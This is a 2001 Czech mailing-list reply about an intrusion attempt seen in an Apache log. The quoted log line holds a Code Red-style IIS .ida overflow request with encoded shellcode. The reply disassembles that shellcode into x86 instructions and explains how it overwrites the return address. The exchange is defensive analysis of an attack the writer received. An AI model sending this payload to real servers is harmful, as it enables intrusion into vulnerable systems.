pokus o prunik

Jaroslav Gratz gratz na damweb.cz
Sobota Červenec 21 01:10:16 CEST 2001


On Fri, 20 Jul 2001, Miroslav Geisselreiter wrote:

> logy apache: access.log:
> 
> 64.156.242.30 - - [19/Jul/2001:18:36:24 +0200] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 333
> 
> Jestli jsem to dobře přeložil, je to něco takového :
> 
> nop
> nop
> pop       ax
> push      CBD3
> add       word [bx+si-90],di

<snip>

Je potreba pocitat s tim, ze dokonce i u M$ uz objevili 32-bitovy kod:

90                      nop
90                      nop
58                      pop eax
68D3CB0178              push 7801CBD3
90                      nop
90                      nop
58                      pop eax
68D3CB0178              push 7801CBD3
90                      nop
90                      nop
58                      pop eax
68D3CB0178              push 7801CBD3
90                      nop
90                      nop
90                      nop
90                      nop
90                      nop
81C300030000            add ebx, 00000300
8B1B                    mov ebx, dword ptr [ebx]
53                      push ebx
FF5378                  call [ebx+78]
00000000                BYTE  4 DUP(0)

Ve skutecnosti tohle jeste neni hlavni utok, ale pouze priprava na nej.
Ten kod celkem nic nedela, prvni tri opakujici se casti se zrejme vubec
nespousti a slouzi pouze k prepsani navratove adresy na zasobniku.
"Vykony" kod je az add ebx..., ktery nakonec zavola podprogram. Aby to
melo nejaky smysl, tak ten volany podprogram musi jeste prijmout data v
ramci otevreneho spojeni a ty spustit nebo ulozit do nejakeho duleziteho
souboru. Zabavne je, ze autor exploitu se zjevne psanim takovych veci
vubec nemusel zatezovat, protoze jenom vola jiz existujici kod v ramci
nabouravaneho procesu, ktery museli napsat programatori M$. Clovek by se
skoro divil, jak se jim neco takoveho povedlo ;-)

> Znáte někdo tento exploit, poradíte, co proti němu mohu dělat? Děkuji za
> rady a tipy.

Odinstalovat IIS, naistalovat Apache :)

J.G.



Další informace o konferenci Linux